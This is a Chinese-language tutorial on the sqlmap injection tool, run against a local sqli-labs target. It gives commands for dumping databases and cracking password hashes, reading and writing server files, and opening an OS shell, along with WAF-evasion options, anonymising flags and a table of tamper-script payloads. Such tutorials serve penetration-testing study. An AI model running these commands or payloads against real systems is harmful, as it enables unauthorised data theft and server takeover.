精华内容
下载资源
问答
  • sqlmap-gtk sqlmap GUI,使用PyGObject(gtk + 3) 支持linux,在Mint 20上测试,kali 2020.4 上的 ,需要改进。 sqlmap具有python3的端口。 请不要再使用python2了。 截屏 如何 先决条件 python3.6 +,GTK + 3.20...
  • sqlmap中文手册.pdf

    2020-08-13 20:22:13
    sqlmap中文版的使用,仅供学习研究使用.用户手册 介绍——介绍 sqlmap 技术——sqlmap 支持的 SQL 注入技术 特性——支持的特性列表 下载更新——更新你的 sqlmap 副本 相关依赖——关于第三方库和工具的信息 历史...
  • Sqlmap安装 Sqlmap >> 基于Python的自动化渗透测试工具,安装工具前需要进行Python的环境准备 Python环境的安装 1.1 下载与安装 python(2.7.16): ...
  • sqlmap图形界面

    2021-01-04 11:29:27
    sql注入 SQLmap图形化
  • 亲爱的朋友,SQLMAP是自动化的SQL注入和数据库接管工具,是开源的渗透测试工具,它能自动检测和利用SQL注入漏洞并接管数据库服务器。它配备了强大的检测引擎、最终渗透测试器的许多利基特性和广泛的开关,从数据库...
  • SQLmap常用命令

    2019-05-08 09:49:43
    sqlmap是一个自动化的sql注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,甚至还提供了一个字典来将取回来的hash爆破,当然对于真实环境中这爆破功能战斗力基本为0....
  • SQLMap已经成为我们做渗透测试不可缺少的工具,在这里就不在描述工具的使用,在以往的SQLMap测试中我们大 都是以单个的URL为目标,遇到WAF,防火墙就需要进行手工绕过,或者在参数中加--tamper用SQLMap自带的脚本...
  • sqlmap用户手册.pdf

    2019-11-27 14:09:05
    sqlmap详细的用户手册,使用教程。
  • sqlmap代理池22

    2019-03-04 15:12:26
    sqlmap代理池可以让你更好地时候sqlmap,再也不怕自己的ip老被pass了
  • SqlmapDnsCollaborator是一个Burp扩展,可​​让您使用零配置的Sqlmap执行DNS渗透。 您将不需要DNS服务器或公共IP,只需一台具有Sqlmap和Burp的计算机即可。 通常如何使用Sqlmap执行DNS渗透: 您设置了DNS服务器...
  • sqlmap使用方法

    2018-08-26 11:40:44
    sqlmap -p 指定测试参数 -b 获取banner --dbs 列举数据库 --is-dba 是否是管理员权限 --current-db 当前数据库 --current-user 当前用户 --tables 列举数据库的表名 --count 检索所有条目数 --columns 获取表的列名 ...
  • sqlmap

    千次阅读 2019-09-23 18:31:33
    Sqlmap Sqlmap的简单用法 探测指定URL是否存在WAF,并且绕过 探测指定URL是否存在SQL注入漏洞 查看数据库的所有用户 查看数据库所有用户名的密码  查看数据库当前用户  判断当前用户是否有管理权限 列出...

    目录

    Sqlmap

    Sqlmap的简单用法

    探测指定URL是否存在WAF,并且绕过

    探测指定URL是否存在SQL注入漏洞

    查看数据库的所有用户

    查看数据库所有用户名的密码 

    查看数据库当前用户 

    判断当前用户是否有管理权限

    列出数据库管理员角色

    查看所有的数据库

    查看当前的数据库

    爆出指定数据库中的所有的表 

    爆出指定数据库指定表中的所有的列

    爆出指定数据库指定表指定列下的数据

    爆出该网站数据库中的所有数据

    Sqlmap的高级用法

    指定脚本进行过滤

     探测等级和危险等级

    伪造 Http Referer头部

    执行指定的SQL语句

    执行操作系统命令

    从数据库中读取文件

    上传文件到数据库服务器中

    Sqlmap的更多用法


    Sqlmap

    sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

    Sqlmap采用了以下5种独特的SQL注入技术

    • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
    • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
    • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
    • 联合查询注入,在可以使用Union的情况下注入
    • 堆查询注入,可以同时执行多条语句时的注入

    Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

    sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

    我们可以使用 -h 参数查看sqlmap的参数以及用法,sqlmap  -h

    Sqlmap的简单用法

    
     
    1. sqlmap -r http.txt #http.txt是我们抓取的http的请求包
    2. sqlmap -r http.txt -p username #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
    3. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" #探测该url是否存在漏洞
    4. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --cookie= "抓取的cookie" #当该网站需要登录时,探测该url是否存在漏洞
    5. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data= "uname=admin&passwd=admin&submit=Submit" #抓取其post提交的数据填入
    6. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
    7. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
    8. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user #查看数据库当前的用户
    9. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba #判断当前用户是否有管理员权限
    10. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles #列出数据库所有管理员角色
    11. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs #爆出所有的数据库
    12. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tables #爆出所有的数据表
    13. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --columns #爆出数据库中所有的列
    14. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
    15. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
    16. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
    17. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username -- dump #爆出数据库security中的users表中的username列中的所有数据
    18. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -- dump-all #爆出数据库security中的users表中的所有数据
    19. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -- dump-all #爆出数据库security中的所有数据
    20. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -- dump-all #爆出该数据库中的所有数据
    21. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py #指定脚本进行过滤,用/**/代替空格
    22. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level= 5 --risk= 3 #探测等级5,平台危险等级3,都是最高级别
    23. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell #执行指定的sql语句
    24. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell #执行--os-shell命令
    25. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file- read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
    26. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file- write test.txt --file-dest "e:/hack.txt" #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
    27. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms= "MySQL" #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
    28. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent #使用任意的User-Agent爆破
    29. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy= "127.0.0.1:8080" #指定代理
    30. sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T #指定时间延迟注入
    31. -v3 输出详细度 最大值 5 会显示请求包和回复包
    32. --threads 5 指定线程数
    33. --fresh-queries 清除缓存
    34. --flush-session 刷新session
    35. --batch 对所有的交互式的都是默认的
    36. --random-agent 任意的http头
    37. --tamper base64encode 对提交的数据进行base64编码
    38. --keep-alive 保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request( s) 保错的时候,使用这个参数
    39. --technique=BE 这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
    40. 支持的探测方式如下:
    41.   B: Boolean-based blind SQL injection(布尔型注入)
    42.   E: Error-based SQL injection(报错型注入)
    43.   U: UNION query SQL injection(可联合查询注入)
    44.   S: Stacked queries SQL injection(可多语句查询注入)
    45.   T: Time-based blind SQL injection(基于时间延迟注入)

    探测指定URL是否存在WAF,并且绕过

    
     
    1. --identify-waf 检测是否有WAF(首选)
    2. --check-waf 检测是否有WAF(备选)
    3. #使用参数进行绕过
    4. --random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
    5. --time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
    6. --hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
    7. --proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
    8. --ignore-proxy 禁止使用系统的代理,直接连接进行注入
    9. --flush-session 清空会话,重构注入
    10. --hex 或者 --no-cast 进行字符码转换
    11. --mobile 对移动端的服务器进行注入
    12. --tor 匿名注入

    探测指定URL是否存在SQL注入漏洞

    对于不用登录的网站,直接指定其URL

    sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"  #探测该url是否存在漏洞
     

    在探测目标URL是否存在漏洞的过程中,Sqlmap会和我们进行交互。

    比如第一处交互的地方是说这个目标系统的数据库好像是Mysql数据库,是否还探测其他类型的数据库。我们选择 n,就不探测其他类型的数据库了,因为我们已经知道目标系统是Mysql数据库了。

    第二处交互的地方是说 对于剩下的测试,问我们是否想要使用扩展提供的级别(1)和风险(1)值的“MySQL”的所有测试吗? 我们选择 y。

    第三处交互是说已经探测到参数id存在漏洞了,是否还探测其他地方,我们选择 n 不探测其他参数了 。

    最后sqlmap就列出了参数id存在的注入类型是boolean盲注,还有payload其他信息也显示出来了,最后还列出了目标系统的版本,php,apache等信息。

    这次探测的所有数据都被保存在了 /root/.sqlmap/output/192.168.10.1/ 目录下 

    对于需要登录的网站,我们需要指定其cookie  。我们可以用账号密码登录,然后用抓包工具抓取其cookie填入

    sqlmap -u  "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"  #探测该url是否存在漏洞
     

    对于是post提交数据的URL,我们需要指定其data参数

    sqlmap -u "http://192.168.10.1/sqli/Less-11/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
     

    我们也可以通过抓取 http 数据包保存为文件,然后指定该文件即可。这样,我们就可以不用指定其他参数,这对于需要登录的网站或者post提交数据的网站很方便。

    我们抓取了一个post提交数据的数据包保存为post.txt,如下,uname参数和passwd参数存在SQL注入漏洞

    
     
    1. POST /sqli/Less- 11/ HTTP/ 1.1
    2. Host: 192.168. 10.1
    3. User-Agent: Mozilla/ 5.0 (Windows NT 10.0; WOW64; rv: 55.0) Gecko/ 20100101 Firefox/ 55.0
    4. Accept: text/html,application/xhtml+xml,application/xml; q= 0. 9,* /*;q=0.8
    5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    6. Content-Type: application/x-www-form-urlencoded
    7. Content-Length: 38
    8. Referer: http: // 192.168. 10.1/sqli/Less- 11/
    9. Connection: close
    10. Upgrade-Insecure-Requests: 1
    11. uname=admin&passwd=admin&submit=Submit

    然后我们可以指定这个数据包进行探测

    sqlmap -r post.txt        #探测post.txt文件中的http数据包是否存在sql注入漏洞
     

    他也会和我们进行交互,询问我们,这里就不一一解释了 

    可以看到,已经探测到 uname 参数存在漏洞了,问我们是否还想探测其他参数,我们选择的 y ,它检测到passwd也存在漏洞了,问我们是否还想探测其他参数,我们选择 n

    然后会让我们选择,在后续的测试中,是选择 uname 这个参数还是passwd这个参数作为漏洞,随便选择一个就好了。

    查看数据库的所有用户

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users #查看数据库的所有用户
     

     

    查看数据库所有用户名的密码 

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords #查看数据库用户名的密码
     

    第一处询问我们是否保存密码的hash值为文件,我们不保存。第二处问我们是否使用sqlmap自带的字典进行爆破,我们选择y,可以看出把密码爆破出来了,root用户的密码也为root。如果这里爆破不出来,我们可以拿hash值去字典更强大的地方爆破

    查看数据库当前用户 

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
     

    判断当前用户是否有管理权限

    查看当前账户是否为数据库管理员账户

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba  #判断当前用户是否有管理员权限
     

     

    列出数据库管理员角色

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles   #列出数据库所有管理员角色
     

    查看所有的数据库

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dbs 
     

    查看当前的数据库

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-db #查看当前的数据库
     

    爆出指定数据库中的所有的表 

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
     

    爆出指定数据库指定表中的所有的列

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns
     

    爆出指定数据库指定表指定列下的数据

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
     

    爆出该网站数据库中的所有数据

    
     
    1. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -- dump-all #爆出数据库security中的users表中的所有数据
    2. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -- dump-all #爆出数据库security中的所有数据
    3. sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -- dump-all #爆出该数据库中的所有数据

    Sqlmap的高级用法

    指定脚本进行过滤

    有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效)

    
     
    1. sqlmap --tamper=space2comment.py #用/**/代替空格
    2. sqlmap --tamper= "space2comment.py,space2plus.py" 指定多个脚本进行过滤

     过滤脚本在目录:/usr/share/sqlmap/tamper

    支持的数据库编号脚本名称作用实现方式测试通过的数据库类型和版本
    ALL1apostrophemask.py用utf8代替引号("1 AND '1'='1") 
    '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' 
     
    2base64encode.py 用base64编码替换("1' AND SLEEP(5)#")
    'MScgQU5EIFNMRUVQKDUpIw=='
     
     
    3multiplespaces.py围绕SQL关键字添加多个空格('1 UNION SELECT foobar')
    '1    UNION     SELECT   foobar'
     
    4space2plus.py用+替换空格('SELECT id FROM users')
    'SELECT+id+FROM+users'
     
    5nonrecursivereplacement.py双重查询语句。取代predefined SQL关键字with表示 
    suitable for替代(例如  .replace(“SELECT”、”")) filters
    ('1 UNION SELECT 2--')
    '1 UNIOUNIONN SELESELECTCT 2--'
     
    6space2randomblank.py代替空格字符(“”)从一个随机的空
    白字符可选字符的有效集
    ('SELECT id FROM users')
    'SELECT%0Did%0DFROM%0Ausers'
     
    7unionalltounion.py替换UNION ALL SELECT UNION SELECT('-1 UNION ALL SELECT')
    '-1 UNION SELECT'
     
    8securesphere.py追加特制的字符串('1 AND 1=1')
    "1 AND 1=1 and '0having'='0having'"
     
    MSSQL1space2hash.py绕过过滤‘=’ 替换空格字符(”),(’ – ‘)后跟一个破折号注释,一个随机字符串和一个新行(’ n’)
    '1 AND 9227=9227' 
    '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227' 
     
    2equaltolike.pylike 代替等号
    * Input: SELECT * FROM users WHERE id=1 
    2 * Output: SELECT * FROM users WHERE id LIKE 1 
     
    3space2mssqlblank.py(mssql)空格替换为其它空符号Input: SELECT id FROM users
    Output: SELECT%08id%02FROM%0Fusers
    * Microsoft SQL Server 2000
    * Microsoft SQL Server 2005
    4space2mssqlhash.py替换空格('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
     
    5between.py用between替换大于号(>)('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
     
    6percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
    * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
     
     
    7sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾('1 AND 9227=9227-- ')
    '1 AND 9227=9227-- sp_password'
     
    8charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
     
    9randomcase.py随机大小写* Input: INSERT
    * Output: InsERt
     
    10charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
     
    11space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
    * Output: SELECT//id//FROM/**/users
     
    MYSQL1equaltolike.pylike 代替等号
    * Input: SELECT * FROM users WHERE id=1 
    2 * Output: SELECT * FROM users WHERE id LIKE 1 
     Microsoft SQL Server 2005

    MySQL 4, 5.0 and 5.5
    2greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A'
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    3apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

    '1 AND %00%271%00%27=%00%271'
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    4ifnull2ifisnull.py绕过对 IFNULL 过滤。
    替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
    ('IFNULL(1, 2)')
    'IF(ISNULL(1),2,1)'
    * MySQL 5.0 and 5.5
    5space2mssqlhash.py替换空格('1 AND 9227=9227')
    '1%23%0AAND%23%0A9227=9227'
     
    6modsecurityversioned.py过滤空格,包含完整的查询版本注释('1 AND 2>1--')
    '1 /*!30874AND 2>1*/--'
     
    * MySQL 5.0
    7space2mysqlblank.py空格替换其它空白符号(mysql)Input: SELECT id FROM users
    Output: SELECT%0Bid%0BFROM%A0users
    * MySQL 5.1
    8between.py用between替换大于号(>)('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    9modsecurityzeroversioned.py包含了完整的查询与零版本注释('1 AND 2>1--')
    '1 /*!00000AND 2>1*/--'
     
    * MySQL 5.0
    10space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)('1 AND 9227=9227')
    '1--%0AAND--%0A9227=9227'
     
    11bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句。
    然后替换=为like
    ('SELECT id FROM users where id = 1')
    'SELECT%09id FROM users where id LIKE 1'
    * MySQL 5.1, SGOS
    12percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
    * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
     
    * Microsoft SQL Server 2000, 2005
    * MySQL 5.1.56, 5.5.11
    * PostgreSQL 9.0
    13charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    14randomcase.py随机大小写* Input: INSERT
    * Output: InsERt
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    15versionedkeywords.pyEncloses each non-function keyword with versioned MySQL comment* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#
    * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/*!AS**!CHAR*/),CHAR(32)),CHAR(58,100,114,117,58))#
     
    16space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
    * Output: SELECT//id//FROM/**/users
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    17charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
    * Microsoft SQL Server 2000
    * Microsoft SQL Server 2005
    * MySQL 5.1.56
    * PostgreSQL 9.0.3
    18versionedmorekeywords.py注释绕过* Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))#
    * Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#
     
    * MySQL < 5.119halfversionedmorekeywords.py关键字前加注释* Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa
    * Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’='QDWa
    * MySQL 4.0.18, 5.0.22
    20halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加
    mysql版本评论
    1.("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa")
    2."value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"
    * MySQL 4.0.18, 5.0.22
    MySQL >= 5.1.1321space2morehash.py空格替换为 #号 以及更多随机字符串 换行符* Input: 1 AND 9227=9227
    * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
    MySQL 5.1.41
     Oracle1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A'
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

    '1 AND %00%271%00%27=%00%271'
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    3between.py用between替换大于号(>)('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    4charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    5randomcase.py随机大小写* Input: INSERT
    * Output: InsERt
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    6charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
    * Microsoft SQL Server 2000
    * Microsoft SQL Server 2005
    * MySQL 5.1.56
    * PostgreSQL 9.0.3
    7space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
    * Output: SELECT//id//FROM/**/users
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
     PostgreSQL1greatest.py绕过过滤’>’ ,用GREATEST替换大于号。('1 AND A > B')
    '1 AND GREATEST(A,B+1)=A'
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    2apostrophenullencode.py绕过过滤双引号,替换字符和双引号。tamper("1 AND '1'='1")

    '1 AND %00%271%00%27=%00%271'
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    3between.py用between替换大于号(>)('1 AND A > B--')
    '1 AND A NOT BETWEEN 0 AND B--'
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    4percentage.pyasp允许每个字符前面添加一个%号* Input: SELECT FIELD FROM TABLE
    * Output: %S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E
     
    * Microsoft SQL Server 2000, 2005
    * MySQL 5.1.56, 5.5.11
    * PostgreSQL 9.0
    5charencode.pyurl编码* Input: SELECT FIELD FROM%20TABLE
    * Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    6randomcase.py随机大小写* Input: INSERT
    * Output: InsERt
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    7charunicodeencode.py字符串 unicode 编码* Input: SELECT FIELD%20FROM TABLE
    * Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′
    * Microsoft SQL Server 2000
    * Microsoft SQL Server 2005
    * MySQL 5.1.56
    * PostgreSQL 9.0.3
    8space2comment.pyReplaces space character (‘ ‘) with comments ‘/**/’* Input: SELECT id FROM users
    * Output: SELECT//id//FROM/**/users
    * Microsoft SQL Server 2005
    * MySQL 4, 5.0 and 5.5
    * Oracle 10g
    * PostgreSQL 8.3, 8.4, 9.0
    Microsoft Access1appendnullbyte.py在有效负荷结束位置加载零字节字符编码('1 AND 1=1')
    '1 AND 1=1%00'
     
     
    其他 chardoubleencode.py双url编码(不处理以编码的)* Input: SELECT FIELD FROM%20TABLE
    * Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545
     
     unmagicquotes.py宽字符绕过 GPC  addslashes* Input: 1′ AND 1=1
    * Output: 1%bf%27 AND 1=1–%20
     
     randomcomments.py用/**/分割sql关键字‘INSERT’ becomes ‘IN//S//ERT’ 

     探测等级和危险等级

    Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动破解出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP  User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

    sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3

    sqlmap使用的payload在目录:/usr/share/sqlmap/xml/payloads

    sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别
     

    伪造 Http Referer头部

    Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。可以这样

    referer  http://www.baidu.com
     

    执行指定的SQL语句

    sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
     

    然后会提示我们输入要查询的SQL语句,注意这里的SQL语句最后不要有分号 

     

    执行操作系统命令

    在数据库为Mysql、PostgreSql或者SQL Server时,当满足下面三个条件,我们就可以执行操作系统命令

    • 网站必须是root权限
    • 攻击者需要知道网站的绝对路径
    • GPC为off,php主动转义的功能关闭
    sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell  #执行--os-shell命令
     

